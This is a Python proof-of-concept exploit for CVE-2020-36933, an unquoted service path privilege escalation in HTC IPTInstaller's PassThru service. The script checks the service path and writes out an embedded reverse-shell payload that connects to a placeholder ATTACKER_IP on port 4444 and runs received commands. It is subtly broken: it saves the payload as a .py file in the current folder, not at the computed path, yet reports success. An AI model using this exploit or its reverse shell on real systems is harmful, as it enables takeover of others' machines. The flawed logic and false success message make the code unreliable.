CVE-2020-36933 | HTC IPTInstaller PassThru服务未引号路径提权漏洞

# CVE-2020-36933 PoC - Unquoted Service Path Exploitation # Target: HTC IPTInstaller 4.0.9 PassThru Service # Privilege Escalation to LocalSystem import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target service has unquoted path vulnerability""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'PassThru'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains spaces and no quotes if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Vulnerability exists if path has spaces but no quotes if ' ' in path and not path.startswith('"'): print(f"[+] VULNERABLE: Unquoted path detected: {path}") return path return None except Exception as e: print(f"[-] Error checking vulnerability: {e}") return None def exploit(target_path): """Exploit unquoted service path to escalate privileges""" # Extract directory from path (C:\Program Files\HTC\IPTInstaller\PassThru Service\bin\Service.exe) # The malicious binary should be placed at C:\Program Files\HTC\IPTInstaller\PassThru.exe parts = target_path.split('\\') # Build path to the directory containing the malicious executable exploit_dir = '\\'.join(parts[:-2]) # Up to PassThru Service malicious_binary = parts[-2] + '.exe' # PassThru.exe malicious_path = os.path.join(exploit_dir, malicious_binary) print(f"[*] Creating malicious binary at: {malicious_path}") # Create a simple reverse shell payload # In real attack, this would be actual malicious code malicious_code = ''' import os import socket import subprocess # Simple reverse shell to attacker machine attacker_ip = "ATTACKER_IP" attacker_port = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker_ip, attacker_port)) # Execute command and send output back while True: cmd = s.recv(1024).decode() if cmd.lower() == 'exit': break output = subprocess.run(cmd, shell=True, capture_output=True, text=True) s.send(output.stdout.encode() + output.stderr.encode()) s.close() ''' try: # Create the malicious executable with open('malicious_service.py', 'w') as f: f.write(malicious_code) print("[+] Malicious binary created successfully") print("[*] When PassThru service restarts, the malicious binary will be executed with LocalSystem privileges") except Exception as e: print(f"[-] Failed to create exploit: {e}") if __name__ == "__main__": print("="*60) print("CVE-2020-36933 - HTC IPTInstaller Unquoted Service Path") print("="*60) vulnerable_path = check_vulnerability() if vulnerable_path: print("[+] Target is vulnerable, preparing exploit...") exploit(vulnerable_path) else: print("[-] Target is not vulnerable or service not found")